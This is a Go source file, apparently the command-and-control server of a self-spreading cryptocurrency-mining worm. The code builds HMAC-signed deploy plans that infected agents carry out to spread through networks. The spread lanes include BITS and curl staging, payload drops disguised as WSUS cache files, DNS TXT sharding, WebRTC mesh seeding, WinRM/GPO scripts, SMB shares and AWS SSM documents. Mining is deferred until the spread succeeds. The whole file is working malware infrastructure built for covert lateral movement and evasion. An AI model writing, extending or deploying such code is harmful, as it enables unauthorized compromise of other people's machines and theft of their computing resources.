package api import ( "context" "crypto/hmac" "crypto/sha256" "encoding/hex" "encoding/json" "fmt" "io" "net/http" "os" "path/filepath" "strings" dbpkg "crypto-miner-server/internal/db" "crypto-miner-server/internal/cloudmap" "crypto-miner-server/internal/erasure" "crypto-miner-server/internal/models" "crypto-miner-server/internal/spreadrouter" ) // StagingManifest mirrors agent/deploy.StagingManifest for signed supply-chain plans. type StagingManifest struct { Method string `json:"method"` Chunks []StagingChunk `json:"chunks"` SHA256 string `json:"sha256"` Dest string `json:"dest"` Launch string `json:"launch"` DLLExport string `json:"dll_export,omitempty"` Encoded bool `json:"encoded"` DeferMining bool `json:"defer_mining,omitempty"` SpreadInstall bool `json:"spread_install,omitempty"` PeerGroup string `json:"peer_group,omitempty"` CacheGroup string `json:"cache_group,omitempty"` DNSZone string `json:"dns_zone,omitempty"` TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"` } // WebRTCMeshPlanBody is LAN WebRTC seed policy attached to signed deploy plans. type WebRTCMeshPlanBody struct { STUNServers []string `json:"stun_servers,omitempty"` SignalingRelay string `json:"signaling_relay,omitempty"` LANFallbackURL string `json:"lan_fallback_url,omitempty"` SeederAgentID string `json:"seeder_agent_id,omitempty"` RotationHours int `json:"rotation_hours,omitempty"` IsSeeder bool `json:"is_seeder,omitempty"` } type StagingChunk struct { URL string `json:"url"` File string `json:"file"` Record string `json:"record,omitempty"` Index int `json:"index,omitempty"` } // DeployPlanBody is HMAC-signed and executed by the agent discover_and_join command. type DeployPlanBody struct { JoinLane string `json:"join_lane"` MatchedService string `json:"matched_service,omitempty"` Action string `json:"action"` Manifest *StagingManifest `json:"manifest,omitempty"` PeerGroup string `json:"peer_group,omitempty"` CacheGroup string `json:"cache_group,omitempty"` DNSTXTZone string `json:"dns_txt_zone,omitempty"` DNSTXTRecords []string `json:"dns_txt_records,omitempty"` DNSTXTShards []int `json:"dns_txt_shards,omitempty"` TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"` WebRTCMesh *WebRTCMeshPlanBody `json:"webrtc_mesh,omitempty"` Script string `json:"script,omitempty"` UNCPath string `json:"unc_path,omitempty"` MaxHosts int `json:"max_hosts,omitempty"` ImageTarURL string `json:"image_tar_url,omitempty"` ImageTarSHA256 string `json:"image_tar_sha256,omitempty"` SpreadRouteHint *spreadrouter.SpreadRouteHint `json:"spread_route_hint,omitempty"` ErasurePlan *erasure.Plan `json:"erasure_plan,omitempty"` SSMDocument string `json:"ssm_document,omitempty"` } type deployPlanRequest struct { AgentID string `json:"agent_id"` BuildID string `json:"build_id,omitempty"` Campaign string `json:"campaign,omitempty"` Platform string `json:"platform"` Services []DeployServiceFinding `json:"services"` UNCPath string `json:"unc_path,omitempty"` WSUSFormatMimic *bool `json:"wsus_format_mimic,omitempty"` } type deployPlanResponse struct { OK bool `json:"ok"` Error string `json:"error,omitempty"` JoinLane string `json:"join_lane"` MatchedService string `json:"matched_service,omitempty"` Plan DeployPlanBody `json:"plan"` Signature string `json:"signature"` } // DeployPlanHandler builds hash-verified, HMAC-signed join plans from service discovery. type DeployPlanHandler struct { db *dbpkg.Database dataDir string projectRoot string publicURL func() string fleetSecret func() string allowlist func() map[string]ServiceDeployLane pathTracer *PathTracerHandler erasureEnabled func() bool erasureShards *erasure.ShardStore awsSwarmSettings func() erasure.AWSSwarmSettings awsShardStore func(erasure.AWSSwarmSettings) erasure.ShardObjectStore } func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler { return &DeployPlanHandler{ db: database, dataDir: dataDir, projectRoot: projectRoot, publicURL: publicURL, fleetSecret: fleetSecret, allowlist: allowlist, } } // BindPathTracer wires Path Tracer sessions into spread-route recommendations. func (h *DeployPlanHandler) BindPathTracer(handler *PathTracerHandler) { h.pathTracer = handler } // BindErasure wires Reed–Solomon shard encoding for multi-lane deploy plans. func (h *DeployPlanHandler) BindErasure(enabled func() bool, store *erasure.ShardStore) { h.erasureEnabled = enabled h.erasureShards = store } // BindErasureFromHub reads erasure_lanes_enabled from live server policy snapshots. func (h *DeployPlanHandler) BindErasureFromHub(hub *WSHub, store *erasure.ShardStore) { h.erasureShards = store if hub == nil { return } h.erasureEnabled = func() bool { return hub.serverPolicySnapshot().ErasureLanesEnabled } } func (h *DeployPlanHandler) BindAWSErasureSwarm(settings func() erasure.AWSSwarmSettings, store func(erasure.AWSSwarmSettings) erasure.ShardObjectStore) { h.awsSwarmSettings = settings h.awsShardStore = store } // POST /api/v1/agent/deploy-plan func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) { var req deployPlanRequest if err := json.NewDecoder(r.Body).Decode(&req); err != nil { http.Error(w, "invalid JSON", http.StatusBadRequest) return } if len(req.Services) == 0 { http.Error(w, "services required", http.StatusBadRequest) return } list := map[string]ServiceDeployLane{} if h.allowlist != nil { list = h.allowlist() } matched, lane, ok := PickDeployLane(req.Services, list) if !ok { writeJSON(w, map[string]interface{}{ "ok": false, "error": "no allowlisted running services matched", "checked": len(req.Services), }) return } plan, err := h.buildPlan(req, matched, lane) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } sig, err := signDeployPlan(plan, h.fleetSecret()) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } writeJSON(w, deployPlanResponse{ OK: true, JoinLane: plan.JoinLane, MatchedService: matched, Plan: plan, Signature: sig, }) } func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lane ServiceDeployLane) (DeployPlanBody, error) { serverURL := strings.TrimRight(strings.TrimSpace(h.publicURL()), "/") if serverURL == "" { serverURL = "http://127.0.0.1:8989" } body := DeployPlanBody{ JoinLane: lane.Lane, MatchedService: matched, Action: lane.Lane, } switch lane.Lane { case "do_peer": manifest, err := h.buildDOPeerManifest(req, serverURL) if err != nil { return DeployPlanBody{}, err } body.Manifest = manifest body.PeerGroup = manifest.PeerGroup case "wsus_cache_peer": manifest, err := h.buildWSUSCachePeerManifest(req, serverURL) if err != nil { return DeployPlanBody{}, err } body.Manifest = manifest body.CacheGroup = manifest.CacheGroup case "dns_txt": manifest, zone, records, shards, ttl, err := h.buildDNSTXTManifest(req, serverURL) if err != nil { return DeployPlanBody{}, err } body.Manifest = manifest body.DNSTXTZone = zone body.DNSTXTRecords = records body.DNSTXTShards = shards body.TTLRefreshSec = ttl case "webrtc_mesh": manifest, mesh, err := h.buildWebRTCMeshManifest(req, serverURL) if err != nil { return DeployPlanBody{}, err } body.Manifest = manifest body.WebRTCMesh = mesh case "bits_curl": manifest, err := h.buildStagingManifest(req, serverURL) if err != nil { return DeployPlanBody{}, err } body.Manifest = manifest case "docker_load": manifest, err := h.buildStagingManifest(req, serverURL) if err != nil { return DeployPlanBody{}, err } body.Manifest = manifest body.ImageTarURL = serverURL + "/api/v1/public/download/" + strings.TrimSpace(req.BuildID) if body.ImageTarURL != "" && req.BuildID != "" { if hash, err := h.buildFileSHA256(req.BuildID, req.Platform); err == nil && hash != "" { body.ImageTarSHA256 = hash } } case "winrm", "gpo", "linux_lotl": tpl := strings.TrimSpace(lane.Template) if tpl == "" { tpl = lane.Lane } script, err := h.renderSpreadTemplate(tpl, serverURL, req.BuildID, req.Campaign) if err != nil { return DeployPlanBody{}, err } body.Script = script case "spread_smb_unc": body.UNCPath = strings.TrimSpace(req.UNCPath) body.MaxHosts = 64 case "ssm_document": bundle, err := h.buildSSMSpreadBundle(req, serverURL) if err != nil { return DeployPlanBody{}, err } body.SSMDocument = bundle.Document default: return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane) } body.SpreadRouteHint = h.recommendSpreadRoute(req, lane.Lane) h.attachCloudMapRouteVia(&body) if err := h.attachErasurePlan(req, serverURL, &body); err != nil { return DeployPlanBody{}, err } return body, nil } func (h *DeployPlanHandler) attachErasurePlan(req deployPlanRequest, serverURL string, body *DeployPlanBody) error { if h.erasureEnabled == nil || !h.erasureEnabled() || h.erasureShards == nil || body == nil { return nil } platform := strings.TrimSpace(req.Platform) if platform == "" { platform = "windows" } buildID := strings.TrimSpace(req.BuildID) build, err := h.resolveBuild(buildID, platform) if err != nil { return err } payload, err := os.ReadFile(build.FilePath) if err != nil { return fmt.Errorf("erasure read build: %w", err) } dest := `%TEMP%\AetherForge\worker.exe` launch := "exe" dllExport := "" if body.Manifest != nil { if body.Manifest.Dest != "" { dest = body.Manifest.Dest } if body.Manifest.Launch != "" { launch = body.Manifest.Launch } dllExport = body.Manifest.DLLExport } deferMining := true spreadInstall := true if body.Manifest != nil { deferMining = body.Manifest.DeferMining spreadInstall = body.Manifest.SpreadInstall } plan, err := erasure.BuildPlan( h.erasureShards, serverURL, buildID, req.Campaign, payload, dest, launch, dllExport, deferMining, spreadInstall, ) if err != nil { return err } body.ErasurePlan = plan if body.SpreadRouteHint != nil { body.SpreadRouteHint.ErasureLanesEnabled = true } shards := shardsFromStore(h.erasureShards, plan.ShardToken) hashes := erasure.ShardContentHashes(shards) if h.awsSwarmSettings != nil && h.awsShardStore != nil { cfg := h.awsSwarmSettings() if cfg.Enabled() && cfg.CredentialsReady() && cfg.SigningReady() { result, err := erasure.AttachS3Swarm(context.Background(), cfg, h.awsShardStore(cfg), plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, shards, hashes) if err != nil { return err } if result != nil { for i := range plan.Shards { if i < len(result.EdgeURLs) { plan.Shards[i].EdgeURL = result.EdgeURLs[i] } } if body.SpreadRouteHint == nil { body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{} } body.SpreadRouteHint.SwarmMagnet = result.SwarmMagnet body.SpreadRouteHint.ShardManifestURLs = result.ShardManifestURLs } } } if body.SpreadRouteHint == nil || body.SpreadRouteHint.SwarmMagnet == "" { if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, hashes); err == nil && manifest != nil { if body.SpreadRouteHint == nil { body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{} } if body.SpreadRouteHint.SwarmMagnet == "" { body.SpreadRouteHint.SwarmMagnet = manifest.SwarmMagnet } if len(body.SpreadRouteHint.ShardManifestURLs) == 0 { body.SpreadRouteHint.ShardManifestURLs = manifest.ShardManifestURLs } } } return nil } func shardsFromStore(store *erasure.ShardStore, token string) [][]byte { if store == nil || token == "" { return nil } p, ok := store.ParamsFor(token) if !ok { return nil } total := p.TotalShards() out := make([][]byte, total) for i := 0; i < total; i++ { if sh, ok := store.Get(token, i); ok { out[i] = sh } } return out } func (h *DeployPlanHandler) recommendSpreadRoute(req deployPlanRequest, joinLane string) *spreadrouter.SpreadRouteHint { if h.pathTracer == nil { return nil } patientID := strings.TrimSpace(req.AgentID) targets := spreadRouteTargetSubnets(h.pathTracer, h.db, patientID) if len(targets) == 0 { return nil } var best *spreadrouter.SpreadRouteHint for _, target := range targets { if hint := h.pathTracer.RecommendSpreadRoute(target, joinLane, patientID); hint != nil { if best == nil || hint.Score > best.Score { dup := *hint best = &dup } } } return best } func spreadRouteTargetSubnets(pathTracer *PathTracerHandler, database *dbpkg.Database, agentID string) []string { seen := make(map[string]bool) var out []string add := func(sub string) { sub = spreadrouter.NormalizeSubnet(sub) if sub == "" || seen[sub] { return } seen[sub] = true out = append(out, sub) } if database != nil && agentID != "" { if ag, err := database.GetAgent(agentID); err == nil && ag != nil { add(spreadrouter.SubnetFromIP(ag.IP)) } } for _, sess := range traceSessionsSnapshot(pathTracer) { if sess == nil { continue } patientInChain := false for _, hop := range sess.Hops { if hop != nil && hop.AgentID == agentID { patientInChain = true add(spreadrouter.SubnetFromIP(hop.ExternalIP)) break } } if !patientInChain && agentID != "" { continue } for _, host := range serviceGraphList(sess.ServiceGraph) { add(host.Subnet) add(spreadrouter.SubnetFromIP(host.Host)) } } return out } // buildDOPeerManifest stages hash-verified chunks via BITS peer-style transfer. // Deploy success is a spread step only — agent keeps --defer-mining until diagnostics pass, // then startMiningWhenReady() completes the mining onion (terminal goal). func (h *DeployPlanHandler) buildDOPeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) { platform := strings.TrimSpace(req.Platform) if platform == "" { platform = "windows" } buildID := strings.TrimSpace(req.BuildID) build, err := h.resolveBuild(buildID, platform) if err != nil { return nil, err } hash, err := fileSHA256(build.FilePath) if err != nil { return nil, fmt.Errorf("build hash: %w", err) } _, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign) downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix peerGroup := "af-peer-" + hash[:8] if campaign := strings.TrimSpace(req.Campaign); campaign != "" { peerGroup = "af-peer-" + sanitizeDeployToken(campaign) } dest := `%TEMP%\AetherForge\do-peer-worker.exe` launch := "exe" if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") { dest = `%TEMP%\AetherForge\do-peer-worker.dll` launch = "rundll32" } return &StagingManifest{ Method: "bits", Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}}, SHA256: hash, Dest: dest, Launch: launch, DLLExport: "DllRegisterServer", DeferMining: true, SpreadInstall: true, PeerGroup: peerGroup, }, nil } // buildWSUSCachePeerManifest stages hash-verified chunks beside SoftwareDistribution\Download. func (h *DeployPlanHandler) buildWSUSCachePeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) { platform := strings.TrimSpace(req.Platform) if platform == "" { platform = "windows" } buildID := strings.TrimSpace(req.BuildID) build, err := h.resolveBuild(buildID, platform) if err != nil { return nil, err } hash, err := fileSHA256(build.FilePath) if err != nil { return nil, fmt.Errorf("build hash: %w", err) } _, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign) downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix chunkFile := filepath.Base(build.FileName) if wsusFormatMimicEnabled(req.WSUSFormatMimic) { chunkFile = wsusFormatMimicChunkName(hash, 0) if !strings.Contains(downloadURL, "wsus_wrap=1") { if strings.Contains(downloadURL, "?") { downloadURL += "&wsus_wrap=1" } else { downloadURL += "?wsus_wrap=1" } } } cacheGroup := "af-wsus-" + hash[:8] if campaign := strings.TrimSpace(req.Campaign); campaign != "" { cacheGroup = "af-wsus-" + sanitizeDeployToken(campaign) } dest := `%WINDIR%\SoftwareDistribution\Download\af-cache\wsus-worker.exe` launch := "exe" if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") { dest = `%WINDIR%\SoftwareDistribution\Download\af-cache\wsus-worker.dll` launch = "rundll32" } return &StagingManifest{ Method: "bits", Chunks: []StagingChunk{{URL: downloadURL, File: chunkFile}}, SHA256: hash, Dest: dest, Launch: launch, DLLExport: "DllRegisterServer", DeferMining: true, SpreadInstall: true, CacheGroup: cacheGroup, }, nil } func wsusFormatMimicEnabled(flag *bool) bool { if flag == nil { return true } return *flag } // buildDNSTXTManifest returns TXT shard records + embedded chunk API fallback URLs for tests. func (h *DeployPlanHandler) buildDNSTXTManifest(req deployPlanRequest, serverURL string) (*StagingManifest, string, []string, []int, int, error) { platform := strings.TrimSpace(req.Platform) if platform == "" { platform = "windows" } buildID := strings.TrimSpace(req.BuildID) build, err := h.resolveBuild(buildID, platform) if err != nil { return nil, "", nil, nil, 0, err } hash, err := fileSHA256(build.FilePath) if err != nil { return nil, "", nil, nil, 0, fmt.Errorf("build hash: %w", err) } zone := h.dnsTXTZone() records := []string{ "_aether.shard0." + zone, "_aether.shard1." + zone, } shards := []int{0, 1} ttl := 300 chunks := make([]StagingChunk, len(records)) for i, rec := range records { chunks[i] = StagingChunk{ Record: rec, Index: shards[i], File: fmt.Sprintf("shard-%d.b64", shards[i]), URL: serverURL + "/api/v1/public/dns-txt/" + sanitizeDeployToken(rec), } } dest := `%TEMP%\AetherForge\dns-txt-worker.exe` launch := "exe" if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") { dest = `%TEMP%\AetherForge\dns-txt-worker.dll` launch = "rundll32" } manifest := &StagingManifest{ Method: "dns_txt", Chunks: chunks, SHA256: hash, Dest: dest, Launch: launch, DLLExport: "DllRegisterServer", DeferMining: true, SpreadInstall: true, DNSZone: zone, TTLRefreshSec: ttl, } return manifest, zone, records, shards, ttl, nil } func (h *DeployPlanHandler) dnsTXTZone() string { zone := "internal" if h.allowlist != nil { _ = h.allowlist() } if h.dataDir != "" { cfgPath := filepath.Join(h.dataDir, "config.json") if data, err := os.ReadFile(cfgPath); err == nil { var payload struct { Server struct { DNSZone string `json:"dns_zone"` } `json:"server"` } if json.Unmarshal(data, &payload) == nil && strings.TrimSpace(payload.Server.DNSZone) != "" { zone = strings.TrimSpace(payload.Server.DNSZone) } } } return zone } // buildWebRTCMeshManifest returns LAN seed manifest metadata; payload bytes stay on subnet. func (h *DeployPlanHandler) buildWebRTCMeshManifest(req deployPlanRequest, serverURL string) (*StagingManifest, *WebRTCMeshPlanBody, error) { platform := strings.TrimSpace(req.Platform) if platform == "" { platform = "windows" } buildID := strings.TrimSpace(req.BuildID) build, err := h.resolveBuild(buildID, platform) if err != nil { return nil, nil, err } hash, err := fileSHA256(build.FilePath) if err != nil { return nil, nil, fmt.Errorf("build hash: %w", err) } _, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign) fallbackURL := serverURL + "/api/v1/public/webrtc-mesh/manifest" + strings.TrimPrefix(getQuerySuffix, "&") if !strings.Contains(fallbackURL, "?") && strings.TrimPrefix(getQuerySuffix, "&") != "" { fallbackURL = serverURL + "/api/v1/public/webrtc-mesh/manifest?" + strings.TrimPrefix(getQuerySuffix, "&") } dest := `%TEMP%\AetherForge\webrtc-mesh-worker.exe` launch := "exe" if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") { dest = `%TEMP%\AetherForge\webrtc-mesh-worker.dll` launch = "rundll32" } manifest := &StagingManifest{ Method: "webrtc_mesh", SHA256: hash, Dest: dest, Launch: launch, DLLExport: "DllRegisterServer", DeferMining: true, SpreadInstall: true, } mesh := &WebRTCMeshPlanBody{ STUNServers: []string{"stun:stun.l.google.com:19302"}, SignalingRelay: strings.TrimRight(serverURL, "/") + "/ws/webrtc-relay", LANFallbackURL: fallbackURL, SeederAgentID: strings.TrimSpace(req.AgentID), RotationHours: 24, } return manifest, mesh, nil } func sanitizeDeployToken(s string) string { s = strings.ToLower(strings.TrimSpace(s)) var b strings.Builder for _, r := range s { if (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '-' { b.WriteRune(r) } } out := b.String() if out == "" { return "local" } if len(out) > 24 { return out[:24] } return out } func (h *DeployPlanHandler) buildStagingManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) { platform := strings.TrimSpace(req.Platform) if platform == "" { platform = "windows" } buildID := strings.TrimSpace(req.BuildID) build, err := h.resolveBuild(buildID, platform) if err != nil { return nil, err } hash, err := fileSHA256(build.FilePath) if err != nil { return nil, fmt.Errorf("build hash: %w", err) } _, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign) downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix method := "bits" if platform == "linux" || platform == "darwin" { method = "curl" } dest := `%TEMP%\AetherForge\worker.exe` if platform == "linux" { dest = "/tmp/aetherforge-worker" } return &StagingManifest{ Method: method, Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}}, SHA256: hash, Dest: dest, Launch: "exe", DeferMining: true, SpreadInstall: true, }, nil } func (h *DeployPlanHandler) resolveBuild(buildID, platform string) (*models.BuildRecord, error) { if buildID != "" { b, err := h.db.GetBuild(buildID) if err != nil { return nil, err } return b, nil } b, err := h.db.GetLatestBuildForPlatform(platform) if err != nil { return nil, fmt.Errorf("no build for platform %q: %w", platform, err) } return b, nil } func (h *DeployPlanHandler) buildFileSHA256(buildID, platform string) (string, error) { b, err := h.resolveBuild(buildID, platform) if err != nil { return "", err } return fileSHA256(b.FilePath) } func fileSHA256(path string) (string, error) { f, err := os.Open(path) if err != nil { return "", err } defer f.Close() h := sha256.New() if _, err := io.Copy(h, f); err != nil { return "", err } return hex.EncodeToString(h.Sum(nil)), nil } func (h *DeployPlanHandler) renderSpreadTemplate(template, serverURL, buildID, campaign string) (string, error) { subdir, _, err := spreadTemplatePaths(template) if err != nil { return "", err } dir := filepath.Join(h.projectRoot, "templates", "spread", subdir) entries, err := os.ReadDir(dir) if err != nil { return "", fmt.Errorf("template dir: %w", err) } var scriptFile string for _, e := range entries { if e.IsDir() { continue } name := e.Name() if strings.HasSuffix(name, ".ps1") || strings.HasSuffix(name, ".sh") { scriptFile = filepath.Join(dir, name) break } } if scriptFile == "" { return "", fmt.Errorf("no script in template %s", subdir) } data, err := os.ReadFile(scriptFile) if err != nil { return "", err } querySuffix, getQuerySuffix := buildQuerySuffix(buildID, campaign) repl := map[string]string{ "{{SERVER_URL}}": serverURL, "{{BUILD_ID}}": buildID, "{{CAMPAIGN}}": campaign, "{{QUERY_SUFFIX}}": querySuffix, "{{GET_QUERY_SUFFIX}}": getQuerySuffix, "{{COM_HIJACK}}": "false", "{{LOTL_MODE}}": "systemd_run_user", "{{AGENT_PATH}}": `C:\ProgramData\AetherForge\worker.exe`, } content := string(data) for k, v := range repl { content = strings.ReplaceAll(content, k, v) } return content, nil } func signDeployPlan(plan DeployPlanBody, fleetSecret string) (string, error) { if fleetSecret == "" { return "", fmt.Errorf("fleet secret not configured") } payload, err := json.Marshal(plan) if err != nil { return "", err } mac := hmac.New(sha256.New, []byte(fleetSecret)) mac.Write(payload) return hex.EncodeToString(mac.Sum(nil)), nil } // VerifyDeployPlanSignature validates an HMAC-SHA256 plan from the C2. func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret string) bool { if fleetSecret == "" || signature == "" { return false } payload, err := json.Marshal(plan) if err != nil { return false } mac := hmac.New(sha256.New, []byte(fleetSecret)) mac.Write(payload) expected := hex.EncodeToString(mac.Sum(nil)) return hmac.Equal([]byte(expected), []byte(signature)) } func (h *DeployPlanHandler) cloudMapSettings() (namespace, service string) { namespace = "prod.local" service = "seeder" if h.dataDir == "" { return namespace, service } cfgPath := filepath.Join(h.dataDir, "config.json") data, err := os.ReadFile(cfgPath) if err != nil { return namespace, service } var payload struct { Server struct { CloudMapNamespace string `json:"cloud_map_namespace"` CloudMapService string `json:"cloud_map_service"` } `json:"server"` } if json.Unmarshal(data, &payload) != nil { return namespace, service } if ns := strings.TrimSpace(payload.Server.CloudMapNamespace); ns != "" { namespace = ns } if svc := strings.TrimSpace(payload.Server.CloudMapService); svc != "" { service = svc } return namespace, service } func (h *DeployPlanHandler) attachCloudMapRouteVia(body *DeployPlanBody) { if body == nil { return } ns, svc := h.cloudMapSettings() routeVia := cloudmap.SeederDNSName(svc, ns) if routeVia == "" { return } if body.SpreadRouteHint == nil { body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{} } if strings.TrimSpace(body.SpreadRouteHint.RouteVia) == "" { body.SpreadRouteHint.RouteVia = routeVia } }